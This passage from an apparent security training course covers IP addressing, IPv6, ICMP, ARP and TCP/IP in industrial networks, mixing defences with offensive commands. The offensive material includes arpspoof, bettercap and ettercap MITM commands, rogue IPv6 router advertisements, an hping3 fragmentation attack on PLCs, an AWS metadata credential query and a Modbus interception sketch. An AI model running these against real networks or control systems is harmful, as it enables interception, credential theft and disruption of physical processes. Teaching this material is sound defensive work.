192  .  168  .   1   .  100
─────    ─────    ─────    ─────
11000000 10101000 00000001 01100100

Binary representation:
11000000.10101000.00000001.01100100

Decimal: 192.168.1.100
Hex:     C0.A8.01.64  or  0xC0A80164

Converting between representations:

# Python — IP address conversions
import ipaddress, socket, struct

ip = "192.168.1.100"

# String to integer
ip_int = int(ipaddress.ip_address(ip))
print(f"Integer: {ip_int}")               # 3232235876

# String to bytes
ip_bytes = socket.inet_aton(ip)
print(f"Bytes: {ip_bytes.hex()}")         # c0a80164

# Integer to string
ip_back = str(ipaddress.ip_address(ip_int))
print(f"Back: {ip_back}")                 # 192.168.1.100

# Working with network ranges
network = ipaddress.ip_network("192.168.1.0/24")
print(f"Network: {network.network_address}")   # 192.168.1.0
print(f"Broadcast: {network.broadcast_address}")  # 192.168.1.255
print(f"Hosts: {network.num_addresses - 2}")      # 254
print(f"First host: {list(network.hosts())[0]}")  # 192.168.1.1
print(f"Last host: {list(network.hosts())[-1]}")  # 192.168.1.254

# Check if IP is in a network
target = ipaddress.ip_address("192.168.1.50")
print(f"In network: {target in network}")        # True

# Useful for: checking if IP is RFC1918 private, checking if in attack scope
print(f"Is private: {target.is_private}")        # True
print(f"Is loopback: {target.is_loopback}")      # False

7.2 Address Classes (Historical but Required Knowledge)

Before CIDR (1993), IP addresses were divided into classes. Understanding classes is essential because:

Legacy systems, documentation, and older CVEs reference them
Reserved ranges are still based on class boundaries
Subnetting understanding builds on this foundation

Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit: 0
  Range: 1.0.0.0 – 126.0.0.0
  Subnet mask: /8 (255.0.0.0)
  Networks: 126
  Hosts per network: 16,777,214
  Used for: Large organisations, ISPs

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First two bits: 10
  Range: 128.0.0.0 – 191.255.0.0
  Subnet mask: /16 (255.255.0.0)
  Networks: 16,384
  Hosts per network: 65,534
  Used for: Universities, medium enterprises

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First three bits: 110
  Range: 192.0.0.0 – 223.255.255.0
  Subnet mask: /24 (255.255.255.0)
  Networks: 2,097,152
  Hosts per network: 254
  Used for: Small networks (most common)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 224.0.0.0 – 239.255.255.255
  Purpose: Multicast (not unicast hosts)
  Examples: 224.0.0.5 (OSPF), 239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 240.0.0.0 – 255.255.255.255
  Purpose: Reserved for experimental use
  255.255.255.255: Limited broadcast

7.3 Special Address Ranges

RFC 1918 — Private Addresses:
These ranges are never routed on the internet. NAT translates between private and public IPs.

10.0.0.0/8       10.0.0.0 – 10.255.255.255      (Class A private)
172.16.0.0/12    172.16.0.0 – 172.31.255.255    (Class B private)
192.168.0.0/16   192.168.0.0 – 192.168.255.255  (Class C private)

Other special ranges every security professional must know:

127.0.0.0/8          Loopback (localhost) — 127.0.0.1 is the canonical
169.254.0.0/16       APIPA (Automatic Private IP Addressing) — assigned when DHCP fails
                     Seeing 169.254.x.x means: DHCP failure
                     Also used for link-local communication (AWS metadata: 169.254.169.254)

100.64.0.0/10        Carrier-grade NAT (CGN) — ISP internal addresses
                     Not RFC 1918 but also not public — confuses traceroutes

0.0.0.0/8            "This network" — only valid as source for DHCP discover
192.0.2.0/24         TEST-NET-1 (RFC 5737) — documentation examples
198.51.100.0/24      TEST-NET-2 (RFC 5737) — documentation examples  
203.0.113.0/24       TEST-NET-3 (RFC 5737) — documentation examples
                     (These appear in this document's examples)

192.88.99.0/24       6to4 relay (deprecated but may still appear)
224.0.0.0/4          Multicast
240.0.0.0/4          Reserved
255.255.255.255/32   Limited broadcast

Security implications of special ranges:

# AWS EC2 metadata service — critical for cloud attacks:
# 169.254.169.254 is the link-local address of the metadata service
# From inside an EC2 instance: curl http://169.254.169.254/latest/meta-data/
# Contains: IAM credentials, instance role, user-data (often contains secrets)
# SSRF vulnerabilities that reach this address are critical severity

# Check if an IP is in RFC1918:
python3 -c "
import ipaddress
ips = ['10.0.0.1', '172.16.0.1', '192.168.1.1', '8.8.8.8', '169.254.169.254']
for ip in ips:
    addr = ipaddress.ip_address(ip)
    print(f'{ip}: private={addr.is_private}, loopback={addr.is_loopback}, '
          f'link_local={addr.is_link_local}')
"

7.4 CIDR — Classless Inter-Domain Routing

CIDR (RFC 4632, 1993) replaced classful addressing. It uses a prefix length to define the network portion of an address.

192.168.1.0/24

/24 = prefix length = 24 bits for network
     = 32 - 24 = 8 bits for hosts
     = 2^8 - 2 = 254 usable hosts

Subnet mask from CIDR:
/8  = 255.0.0.0       = 11111111.00000000.00000000.00000000
/16 = 255.255.0.0     = 11111111.11111111.00000000.00000000
/24 = 255.255.255.0   = 11111111.11111111.11111111.00000000
/25 = 255.255.255.128 = 11111111.11111111.11111111.10000000
/26 = 255.255.255.192 = 11111111.11111111.11111111.11000000
/30 = 255.255.255.252 = 11111111.11111111.11111111.11111100
/32 = 255.255.255.255 = single host

Host formula: 2^(32-prefix) - 2
(-2 for network address and broadcast address)

/30 = 2^2 - 2 = 2 usable hosts (point-to-point links)
/29 = 2^3 - 2 = 6 usable hosts
/28 = 2^4 - 2 = 14 usable hosts
/27 = 2^5 - 2 = 30 usable hosts
/26 = 2^6 - 2 = 62 usable hosts
/25 = 2^7 - 2 = 126 usable hosts
/24 = 2^8 - 2 = 254 usable hosts
/23 = 2^9 - 2 = 510 usable hosts
/22 = 2^10 - 2 = 1022 usable hosts
/16 = 2^16 - 2 = 65534 usable hosts
/8  = 2^24 - 2 = 16,777,214 usable hosts

# ipcalc — subnet calculator
ipcalc 192.168.1.100/24
# Shows: network, broadcast, host range, prefix, etc.

# Determine network and broadcast from IP + mask:
python3 << 'EOF'
import ipaddress

def subnet_info(cidr):
    net = ipaddress.ip_network(cidr, strict=False)
    print(f"CIDR:          {cidr}")
    print(f"Network:       {net.network_address}")
    print(f"Broadcast:     {net.broadcast_address}")
    print(f"Subnet mask:   {net.netmask}")
    print(f"Wildcard mask: {net.hostmask}")
    print(f"Usable hosts:  {net.num_addresses - 2}")
    print(f"First host:    {list(net.hosts())[0]}")
    print(f"Last host:     {list(net.hosts())[-1]}")

subnet_info("192.168.1.100/24")
print()
subnet_info("10.0.0.0/8")
EOF

# Nmap uses CIDR notation for network scanning:
sudo nmap -sn 192.168.1.0/24    # Ping scan entire /24
sudo nmap -sn 10.0.0.0/8        # Ping scan entire Class A (16M addresses — careful)

7.5 NAT — Network Address Translation

NAT allows multiple devices to share a single public IP address. It modifies IP headers as packets traverse the NAT device.

Internal network: 192.168.1.0/24
NAT device (router) public IP: 203.0.113.1

Outbound:
  Host 192.168.1.5:54321 → 8.8.8.8:53 (DNS query)
  NAT rewrites: 203.0.113.1:12345 → 8.8.8.8:53
  Stores mapping: 203.0.113.1:12345 ↔ 192.168.1.5:54321

Inbound:
  8.8.8.8:53 → 203.0.113.1:12345 (DNS response)
  NAT looks up: 203.0.113.1:12345 → 192.168.1.5:54321
  NAT rewrites: 8.8.8.8:53 → 192.168.1.5:54321
  Forwards to 192.168.1.5

NAT types (important for VoIP, P2P, gaming, and some attacks):
  Full Cone: Any external host can send to mapped port
  Restricted Cone: Only hosts that internal host has contacted
  Port Restricted Cone: Only specific source port from contacted host
  Symmetric: Different mapping for each external destination (strictest)

NAT security implications:

NAT provides implicit inbound protection — external hosts cannot initiate connections to NAT'd internal hosts unless the NAT device is explicitly configured to allow it (port forwarding). This is why home routers with NAT provide a degree of protection even without a firewall.

However, NAT is NOT a security control:

Internal hosts can still initiate outbound connections (C2 communication bypasses NAT)
NAT traversal techniques (STUN, TURN, UPnP, ICMP tunnel) allow external hosts to reach internal machines
UPnP (Universal Plug and Play) allows applications to automatically configure NAT port forwarding — malware exploits this

Forensic implications: NAT obscures the true source of connections. When investigating an incident, the firewall/NAT log is essential — without it, all connections appear to come from the NAT device's public IP.

8. IPv6 Fundamentals

8.1 Why IPv6 Exists and Why It Matters for Security

IPv4 has 2^32 = 4,294,967,296 addresses. The internet ran out of unallocated IPv4 space in 2011. IPv6 was designed to replace it.

IPv6 has 2^128 addresses. That is 340 undecillion (3.4 × 10^38) — roughly 50 octillion addresses per person on Earth. Address exhaustion is not a concern for the foreseeable future.

For security professionals, IPv6 matters because:

Many networks have dual-stack (IPv4 + IPv6) deployments where the IPv6 side is misconfigured or unmonitored
Security tools, firewalls, and monitoring systems are often IPv4-centric — IPv6 traffic slips through
IPv6 has its own address types, protocols (ICMPv6, NDP), and attack surface
IPv6 is often enabled by default on operating systems even when the network administrator thinks they are running IPv4-only

8.2 IPv6 Address Structure

IPv6 address: 2001:0db8:85a3:0000:0000:8a2e:0370:7334
              ─────────────────────────────────────────
              128 bits, 8 groups of 16 bits each, hex notation

Shorthand rules:
  1. Leading zeros in each group can be omitted:
     0db8 → db8
     0000 → 0

  2. One or more consecutive all-zero groups can be replaced with ::
     (only once per address):
     2001:db8:85a3:0:0:8a2e:370:7334
     → 2001:db8:85a3::8a2e:370:7334

Examples:
  ::1                    Loopback (equivalent to 127.0.0.1)
  ::                     Unspecified address (equivalent to 0.0.0.0)
  fe80::1                Link-local address
  2001:db8::/32          Documentation prefix (like 192.0.2.0/24)
  ff02::1                All nodes (link-local multicast)
  ff02::2                All routers (link-local multicast)

8.3 IPv6 Address Types

Global Unicast:    2000::/3  (currently 2001::-3fff::)
  Globally unique, routable on the internet
  Equivalent to public IPv4 addresses

Link-Local:        fe80::/10
  Only valid on a single link (subnet)
  Automatically configured on every IPv6-capable interface
  Used for NDP (Neighbour Discovery Protocol — IPv6 ARP replacement)
  NOT routable beyond the local link

Unique Local:      fc00::/7  (currently fd00::/8 in practice)
  Equivalent to RFC 1918 private addresses
  Routable within an organisation, not on the internet

Loopback:          ::1/128
  Equivalent to 127.0.0.1

Multicast:         ff00::/8
  No broadcast in IPv6 — broadcast replaced with multicast
  ff02::1 = all nodes on link
  ff02::2 = all routers on link
  ff02::1:ff00:0/104 = solicited-node multicast (used by NDP)

IPv4-Mapped:       ::ffff:0:0/96
  Represents IPv4 addresses in IPv6 notation
  ::ffff:192.168.1.1 = 192.168.1.1 in IPv6 format

8.4 IPv6 Security — The Hidden Attack Surface

Dual-stack networks:
Most modern operating systems enable IPv6 by default. Even if the network administrator has not configured IPv6, the operating system will autoconfigure a link-local address (fe80::/10) and may configure a global address via SLAAC (Stateless Address Autoconfiguration) if a router is advertising IPv6 prefixes.

This creates a hidden attack surface:

Scenario:
  Administrator: "We run IPv4 only, our firewall rules are IPv4"
  Reality: All Windows, Linux, macOS machines have IPv6 enabled
           If any machine has a global IPv6 address, it may be
           directly reachable from the IPv6 internet
           without going through the IPv4 firewall

Check IPv6 on Linux:
ip -6 addr show                         # All IPv6 addresses
ip -6 route show                        # IPv6 routing table
cat /proc/net/if_inet6                  # All IPv6 interfaces

Check IPv6 on Windows:
ipconfig | findstr /i "IPv6"
netsh interface ipv6 show addresses

NDP — Neighbour Discovery Protocol:
NDP is IPv6's replacement for ARP. It uses ICMPv6 messages instead of a dedicated protocol.

NDP messages:
  ICMPv6 Type 133: Router Solicitation (RS) — "Is there a router?"
  ICMPv6 Type 134: Router Advertisement (RA) — "I am a router, here are params"
  ICMPv6 Type 135: Neighbour Solicitation (NS) — "Who has this IPv6 address?"
  ICMPv6 Type 136: Neighbour Advertisement (NA) — "I have this IPv6 address"
  ICMPv6 Type 137: Redirect — "Use a better route"

NDP has the same fundamental vulnerability as ARP: no authentication.
NDP spoofing is the IPv6 equivalent of ARP spoofing.

Rogue Router Advertisement (RA) attacks:
An attacker can send fake Router Advertisements to:

Redirect traffic through the attacker's machine (default route hijacking)
Configure a malicious DNS server on victim machines
Perform MITM on all IPv6 traffic

# Tools for IPv6 attacks:
# THC-IPv6 toolkit (pre-installed on Kali)

# Send rogue RA to assign attacker's machine as default gateway:
sudo atk6-fake_router6 eth0 2001:db8::/64

# IPv6 NDP spoofing:
sudo parasite6 eth0                     # NDP responder (like arpspoof for IPv6)

# Detect rogue RAs:
sudo radvd --debug                      # Monitor for unexpected RAs
# Or in Wireshark: icmpv6.type == 134   (Router Advertisement)
# Unexpected RAs from non-router MACs are suspicious

IPv6 scanning:
The IPv6 address space is so large that random scanning is impractical. But attackers use:

Multicast addresses (ff02::1 reaches all hosts on the link without knowing individual addresses)
SLAAC-based addresses are often predictable (EUI-64 format embeds the MAC address)
DNS enumeration for IPv6 AAAA records

# Discover IPv6 hosts on local link using multicast
ping6 -I eth0 ff02::1                   # Ping all nodes multicast
# Captures responses from all IPv6-enabled hosts on the link

# Nmap IPv6 scan
sudo nmap -6 -sV 2001:db8::1           # Single IPv6 host
sudo nmap -6 --script ipv6-multicast-mld-list eth0  # Discover via multicast

# Check for AAAA records (IPv6 DNS)
dig AAAA google.com
host -t AAAA google.com

Key Insight: IPv4 addresses are nearly exhausted and IPv6 deployment is accelerating. More importantly, IPv6 is already running on most enterprise systems — often unmonitored and unmanaged. An attacker who pivots to IPv6 on a dual-stack network may find a completely undefended path. Every network assessment must include IPv6 enumeration, and every security architecture must account for IPv6 traffic.

9. ICMP — The Network's Diagnostic Layer

9.1 What ICMP Is

ICMP (Internet Control Message Protocol, RFC 792) runs directly over IP (protocol number 1) and provides network diagnostic and error reporting functions. It has no ports and cannot be used for application data transfer.

ICMP is essential for network operation, but it is also one of the most abused protocols in offensive security.

9.2 ICMP Message Types

Type  Code  Name                           Security Relevance
─────────────────────────────────────────────────────────────────
0     0     Echo Reply                     Ping response — host is up
3     0     Destination Unreachable        
      0     Net Unreachable                Routing problem
      1     Host Unreachable               Host down or firewalled
      2     Protocol Unreachable           Protocol not supported
      3     Port Unreachable               No service on UDP port
      4     Fragmentation Needed           MTU path discovery
      9     Dest. Network Admin. Prohibit  Firewall block (ACL)
      10    Dest. Host Admin. Prohibit     Firewall block
      13    Comm. Admin. Prohibited        Firewall block
5     0     Redirect Datagram for Net      Route manipulation attack
      1     Redirect Datagram for Host     Route manipulation attack
8     0     Echo Request                   Ping — host discovery
11    0     Time Exceeded (TTL)            Traceroute mechanism
      0     TTL exceeded in transit        Traceroute hop
      1     Fragment reassembly timeout    Fragmentation issue
12    0     Parameter Problem              Malformed packet
13    0     Timestamp Request              OS fingerprinting
14    0     Timestamp Reply
17    0     Address Mask Request           Network enumeration (deprecated)
18    0     Address Mask Reply

9.3 ICMP in Host Discovery and Network Mapping

# Ping — ICMP Echo Request (Type 8) / Echo Reply (Type 0)
ping -c 4 192.168.1.1               # 4 pings
ping -c 1 -W 1 192.168.1.1          # Single ping, 1 second timeout
ping -b 192.168.1.255               # Broadcast ping (may reveal all hosts)

# Ping sweep — discover live hosts
# Nmap ICMP ping sweep:
sudo nmap -sn -PE 192.168.1.0/24   # ICMP Echo ping sweep
sudo nmap -sn -PP 192.168.1.0/24   # ICMP Timestamp ping sweep (bypasses some firewalls)
sudo nmap -sn -PM 192.168.1.0/24   # ICMP Address Mask ping sweep

# fping — parallel ping for faster sweeps
sudo apt install fping
fping -a -g 192.168.1.0/24 2>/dev/null  # -a = show alive, -g = generate range

# Traceroute — uses ICMP TTL exceeded responses
traceroute -n 8.8.8.8               # -n = no DNS resolution
traceroute -I 8.8.8.8               # ICMP mode (default is UDP on Linux)
traceroute -T -p 80 8.8.8.8         # TCP traceroute to port 80

# How traceroute works:
# Packet 1: TTL=1 → first router decrements to 0 → ICMP Type 11 back
# Packet 2: TTL=2 → first router: TTL-1=1, second router: TTL-1=0 → ICMP Type 11
# ...continues until destination reached (ICMP Echo Reply or ICMP Port Unreachable)

9.4 ICMP Attack Techniques

Ping of Death (historical, CVE-1996-nnnn):
An IPv4 packet can theoretically carry up to 65,535 bytes of data (2^16 -1 total length). An ICMP Echo Request with 65,507 bytes of payload (65,535 - 20 IP header - 8 ICMP header) is valid. However, this is larger than the maximum Ethernet frame, so it gets fragmented. On many older implementations, the reassembled packet caused a buffer overflow in the kernel's reassembly buffer — crashing or blue-screening the system. Patched in all modern OSes but still relevant for legacy embedded systems (some OT devices).

Smurf Attack (historical but documented):
Attacker sends ICMP Echo Request to a network's broadcast address with spoofed source IP (victim's IP). All hosts on the network reply to the victim. Amplification ratio = number of hosts on the network.

10 hosts on network + broadcast ping = 10× amplification
1,000 hosts on network = 1,000× amplification

Mitigation: 
  ISPs should block directed broadcast (RFC 2644)
  Hosts should not respond to broadcast pings
  sysctl net.ipv4.icmp_echo_ignore_broadcasts=1 (Linux default)

ICMP Redirect Attack:
ICMP Type 5 allows a router to tell a host "use a different gateway for this specific destination." The host updates its routing table.

Attack:
  Attacker sends ICMP Redirect: "For destination 8.8.8.8, use gateway 192.168.1.50 (attacker)"
  Victim host adds route: 8.8.8.8 via 192.168.1.50
  All traffic to 8.8.8.8 now goes to attacker first

Defence:
  Disable ICMP redirect acceptance:
  sysctl -w net.ipv4.conf.all.accept_redirects=0
  sysctl -w net.ipv4.conf.all.secure_redirects=0

  Verify:
  cat /proc/sys/net/ipv4/conf/all/accept_redirects  # 0 = disabled

ICMP Tunnelling:
ICMP Echo Request and Reply packets can carry arbitrary data in their payload. An attacker can encapsulate any TCP/IP traffic inside ICMP packets to bypass firewalls that allow ICMP but block direct TCP/UDP.

Normal ping payload: 32 bytes (on Windows) or 56 bytes (on Linux)
Attack: Use full 65,507 bytes of ICMP payload to tunnel data

Detection:
- ICMP packets with large payloads (>100 bytes for Echo)
- ICMP packets with unusual payload content (not repeating patterns)
- High-frequency ICMP traffic from a single host
- ICMP traffic at non-ping timing patterns

Tools: icmptunnel, ptunnel, ICMPTX

# Detect large ICMP payloads in Wireshark:
# Filter: icmp and data.len > 100

# Or with tcpdump:
sudo tcpdump -i eth0 'icmp and greater 150'   # ICMP packets > 150 bytes

9.5 ICMP Firewall Behaviour and Fingerprinting

When a firewall blocks a connection, the type of ICMP response (if any) reveals the firewall's configuration:

Port response analysis:
  SYN → SYN-ACK:    Port open
  SYN → RST:        Port closed (no service)
  SYN → no response: Port filtered (firewall DROP rule — silent discard)
  SYN → ICMP Type 3 Code 13: Port administratively prohibited (firewall REJECT rule)

The difference between DROP and REJECT:
  DROP:   Firewall silently discards packet → attacker doesn't know if host is up
  REJECT: Firewall sends ICMP error → tells attacker the host exists

  DROP is generally preferred from a security perspective (reveals less)
  REJECT is preferred from a usability perspective (faster failure, clearer error)

# Nmap output interpretation:
# open: SYN-ACK received
# closed: RST received
# filtered: no response or ICMP unreachable received

# Identify firewall policy (DROP vs REJECT):
sudo nmap -sS --reason 192.168.1.1
# "no-response" = DROP policy
# "admin-prohibited" = REJECT policy with ICMP Type 3 Code 13
# "reset" = no firewall, closed port

# Time-based differentiation:
# DROP: Nmap waits for timeout (slow)
# RST: Immediate response (fast)
# Compare scan timing — slow = DROP policy

10. ARP — Address Resolution Protocol

10.1 What ARP Does and Why It Has No Security

ARP (RFC 826, 1982) resolves IPv4 addresses to MAC addresses. Before sending an IP packet, a device must know the MAC address of the next hop (the destination if on the same subnet, or the gateway if not).

RFC 826 is 7 pages long. It was written in 1982 when the internet consisted of researchers who trusted each other. There is no authentication, no verification, no cryptographic integrity. Any device can claim any IP-to-MAC mapping, and other devices will believe it. This was not an oversight — it was an acceptable design decision at the time.

Forty years later, this design decision is responsible for some of the most common network attacks in existence.

10.2 ARP Operation

ARP Request (broadcast):
  Source: 192.168.1.5 (MAC: AA:BB:CC:DD:EE:FF)
  Wants to reach: 192.168.1.1
  Doesn't know: 192.168.1.1's MAC address

  Sends Ethernet broadcast (dst: FF:FF:FF:FF:FF:FF):
  "Who has 192.168.1.1? Tell 192.168.1.5 (AA:BB:CC:DD:EE:FF)"

  All devices on the segment receive this.
  Only 192.168.1.1 should respond.

ARP Reply (unicast):
  Source: 192.168.1.1 (MAC: 11:22:33:44:55:66)
  Sends directly to 192.168.1.5:
  "192.168.1.1 is at 11:22:33:44:55:66"

ARP Cache:
  Receiving device stores this mapping in ARP cache
  Linux default: 60-second TTL with garbage collection
  Windows default: 15-30 second reachable timeout, up to 45-90 seconds stale

  View ARP cache:
  arp -a                              # Linux/Windows
  ip neigh show                       # Linux (modern)

Gratuitous ARP:
A device can send an unsolicited ARP reply announcing its own IP-to-MAC mapping. This is used for:

Updating the ARP cache of all neighbours after NIC replacement
Announcing a new IP address
High-availability failover (sending gratuitous ARP to update switches after failover)

Gratuitous ARP is the mechanism that makes ARP poisoning possible — any device can announce any mapping, and others accept it without question.

10.3 ARP Poisoning Attack — Full Technical Detail

Network:
  Gateway:        192.168.1.1  (MAC: GW:GW:GW:GW:GW:GW)
  Victim A:       192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)
  Victim B:       192.168.1.20 (MAC: BB:BB:BB:BB:BB:BB)
  Attacker:       192.168.1.50 (MAC: AT:AT:AT:AT:AT:AT)

Attack:
  Attacker sends to 192.168.1.10:
    "192.168.1.1 is at AT:AT:AT:AT:AT:AT"  (lie about gateway MAC)

  Attacker sends to 192.168.1.1:
    "192.168.1.10 is at AT:AT:AT:AT:AT:AT" (lie about victim MAC)

Result on 192.168.1.10's ARP cache:
  BEFORE: 192.168.1.1 → GW:GW:GW:GW:GW:GW ✓
  AFTER:  192.168.1.1 → AT:AT:AT:AT:AT:AT  ← POISONED

Traffic flow:
  192.168.1.10 sends packet to "gateway" (AT:AT:AT:AT:AT:AT)
  Attacker receives it, reads it (MITM), forwards to real gateway
  Response returns via same path (attacker also poisoned gateway's ARP)

Attacker sees all traffic between victim and gateway.
With IP forwarding enabled, communication continues normally — 
victim has no indication of the attack.

# ARP poisoning tools:

# arpspoof (dsniff package) — classic tool
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
# -t = target (who to poison)
# last argument = IP to impersonate
# This sends gratuitous ARPs to 192.168.1.10 claiming 192.168.1.1's IP

# For bidirectional MITM, run two arpspoof instances:
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 &
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward  # Enable forwarding

# Bettercap — modern, comprehensive
sudo bettercap -iface eth0
# In bettercap console:
# net.probe on              # Discover hosts
# arp.spoof.targets 192.168.1.10,192.168.1.20  # Target specific hosts
# arp.spoof on              # Start poisoning
# net.sniff on              # Capture traffic

# Ettercap — all-in-one MITM
sudo ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.10//
# -T = text mode, -q = quiet, -M = MITM mode arp:remote

10.4 Detecting and Mitigating ARP Attacks

Detection:

# arpwatch — monitors ARP activity, alerts on changes
sudo apt install arpwatch
sudo arpwatch -i eth0               # Run and log to syslog
# Alerts on: new station, changed ethernet address, flip-flop (rapid MAC changes)

# Manual detection — look for duplicate IP with different MAC:
ip neigh show | awk '{print $1}' | sort | uniq -c | sort -rn
# Multiple entries for same IP = suspicious

# Wireshark detection:
# Edit → Find Packet → Packet Details → ARP
# Look for: "duplicate use of <IP> detected"
# Wireshark automatically alerts on duplicate IP-to-MAC mappings

# Detect in Python:
python3 << 'EOF'
from scapy.all import sniff, ARP
from collections import defaultdict

ip_mac_map = defaultdict(set)

def detect_arp_spoofing(pkt):
    if pkt.haslayer(ARP) and pkt[ARP].op == 2:  # ARP Reply
        ip = pkt[ARP].psrc
        mac = pkt[ARP].hwsrc
        ip_mac_map[ip].add(mac)
        if len(ip_mac_map[ip]) > 1:
            print(f"[!] ARP POISONING DETECTED: {ip} claimed by MACs: {ip_mac_map[ip]}")

print("Monitoring ARP traffic...")
sniff(filter="arp", prn=detect_arp_spoofing, store=0)
EOF

Mitigation:

1. Dynamic ARP Inspection (DAI) — Cisco switch feature
   Switch maintains DHCP snooping binding table (IP→MAC→Port→VLAN)
   Validates ARP packets against binding table
   Drops ARP packets that don't match
   Prevents ARP poisoning from untrusted ports

   Cisco configuration:
   ip dhcp snooping vlan 10
   ip arp inspection vlan 10
   interface GigabitEthernet0/1
    ip dhcp snooping limit rate 15    # Limit DHCP to 15 pps
   interface GigabitEthernet0/2
    ip arp inspection trust           # Trust this port (uplink to router)

2. Static ARP entries
   Add critical mappings (gateway) as permanent static entries:
   arp -s 192.168.1.1 GW:GW:GW:GW:GW:GW
   ip neigh add 192.168.1.1 lladdr GW:GW:GW:GW:GW:GW dev eth0 nud permanent

   Limitation: manual maintenance, doesn't scale

3. 802.1X Port Authentication
   Authenticates devices before granting network access
   Combined with DAI: only authenticated devices can poison ARP

4. Private VLANs
   Prevents communication between hosts in the same subnet
   No direct L2 access between clients → no ARP poisoning possible

5. End-to-end encryption (TLS)
   Even if ARP is poisoned and traffic intercepted,
   TLS prevents reading or modifying the content
   This is why ARP poisoning + SSL stripping requires both steps

10.5 ARP in OT/ICS Networks

ARP poisoning in OT environments is particularly dangerous because:

No encryption: Modbus, DNP3, and other industrial protocols transmit in plaintext. An ARP MITM gives complete visibility into and control over industrial protocol traffic.
No authentication: Writing to a Modbus register or sending a DNP3 command requires only network access. ARP poisoning provides that access.
No security monitoring: Most OT networks have no ARP inspection, no arpwatch, no DAI. ARP poisoning can run undetected indefinitely.
Physical consequences: A MITM position on an OT network allows:
- Passive: Monitoring of all process values and setpoints
- Active: Modification of commands sent to PLCs
- Denial of service: Dropping commands to field devices
Legacy switches: Many OT environments use unmanaged switches. DAI requires managed switches. Unmanaged switches cannot enforce port security.

Key Insight: ARP's complete lack of authentication is not a vulnerability that will be patched — it is the protocol as designed, and replacing it would require replacing the entire Ethernet ecosystem. DAI and 802.1X are the correct mitigations, but they require managed infrastructure. In their absence, every device on the same L2 segment can impersonate every other device. In OT environments where this is combined with unauthenticated industrial protocols, a single compromised or rogue device has full control over the physical process.

11. Putting It All Together — A Complete Packet's Journey

11.1 The Full Stack in Motion

To solidify all concepts in this module, trace a complete DNS query from a workstation to Google's DNS server.

Workstation: 192.168.1.5 (MAC: WS:WS:WS:WS:WS:WS)
Gateway:     192.168.1.1 (MAC: GW:GW:GW:GW:GW:GW)
Target DNS:  8.8.8.8
Query:       "What is the IP of example.com?"

STEP 1: Does workstation know gateway's MAC?
  Check ARP cache: 192.168.1.1 → ?
  If not found: Send ARP broadcast "Who has 192.168.1.1?"
  Gateway replies: "192.168.1.1 is at GW:GW:GW:GW:GW:GW"
  ARP cache updated.

STEP 2: Construct DNS UDP packet

  Application layer builds DNS query:
    DNS header + question: A record for "example.com"

  Transport layer adds UDP header:
    Source port: 54321 (ephemeral)
    Destination port: 53 (DNS)
    Length: [calculated]
    Checksum: [calculated]

  Internet layer adds IP header:
    Source IP: 192.168.1.5
    Destination IP: 8.8.8.8
    TTL: 64 (Linux default)
    Protocol: 17 (UDP)

  Network Access layer adds Ethernet header:
    Destination MAC: GW:GW:GW:GW:GW:GW (gateway — not 8.8.8.8, different subnet)
    Source MAC: WS:WS:WS:WS:WS:WS
    EtherType: 0x0800 (IPv4)

STEP 3: Frame sent on wire to gateway

STEP 4: Gateway receives frame
  Layer 2: Is dst MAC mine? Yes → accept
  Layer 3: Is dst IP mine? No (8.8.8.8 is not 192.168.1.1)
  → Route packet toward 8.8.8.8
  → Build new Ethernet frame with next hop's MAC
  → Decrement TTL (now 63)
  → Send out WAN interface

STEP 5: Packet traverses internet (multiple hops, TTL decrements)

STEP 6: 8.8.8.8 receives packet
  DNS server processes query
  Constructs response
  Response travels back (same process in reverse)

STEP 7: Gateway receives response, routes to workstation
  ARP resolves 192.168.1.5 → WS:WS:WS:WS:WS:WS
  Forwards frame

STEP 8: Workstation receives response
  UDP → port 54321 → DNS resolver → application
  Application knows: example.com → 93.184.216.34

12. TCP/IP in OT/ICS Environments

12.1 TCP/IP Adoption in Industrial Networks

Modern OT networks increasingly use standard TCP/IP. This brings interoperability benefits but also exposes industrial systems to the full TCP/IP threat landscape.

Protocols that run over TCP/IP in OT:

Modbus TCP:      TCP 502    — No authentication, direct register access
DNP3:            TCP/UDP 20000 — Limited authentication (SA v5)
EtherNet/IP:     TCP 44818, UDP 2222 — CIP over Ethernet
IEC 60870-5-104: TCP 2404   — Power grid SCADA
IEC 61850 MMS:   TCP 102    — Substation automation
OPC-UA:          TCP 4840   — Modern, has security model
PROFINET:        TCP/UDP (various) — Siemens fieldbus over Ethernet
BACnet/IP:       UDP 47808  — Building automation

12.2 TCP/IP Attacks Specific to OT Context

Fragmentation attacks against PLCs:
Industrial devices often have limited resources and may not handle malformed or fragmented IP packets correctly. Sending fragmented packets (Teardrop-style, overlapping offsets) can crash PLCs or cause them to restart.

# Fragmentation attack simulation (lab only):
sudo hping3 --frag --data 1000 --mtu 8 192.168.1.100
# --frag = fragment packets
# --data = payload size
# --mtu = force fragmentation at this size
# Result: 8-byte fragments → many overlap scenarios possible

TCP RST injection against SCADA HMI connections:
If an attacker can observe the sequence numbers of an active TCP connection between an HMI and a SCADA server, they can inject RST packets to terminate the connection. This disrupts operator visibility.

ARP poisoning + Modbus command injection:
The most dangerous combined attack:

ARP poison: Position attacker between HMI and PLC
Intercept: Capture legitimate Modbus TCP commands
Modify or inject: Change setpoints, force coil states, or replay commands

# Conceptual Modbus command interception using Scapy (educational):
from scapy.all import *
from scapy.contrib.modbus import ModbusADURequest

# In a real attack scenario (authorized lab only):
# ARP poisoning positions attacker in path
# Then capture and modify Modbus TCP traffic passing through

def inspect_modbus(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].dport == 502:
        print(f"Modbus command from {pkt[IP].src} to {pkt[IP].dst}")
        # Payload is the Modbus ADU
        if pkt.haslayer(Raw):
            data = bytes(pkt[Raw])
            if len(data) >= 8:
                func_code = data[7]
                print(f"  Function code: {func_code} ({hex(func_code)})")

sniff(filter="tcp port 502", prn=inspect_modbus, store=0)

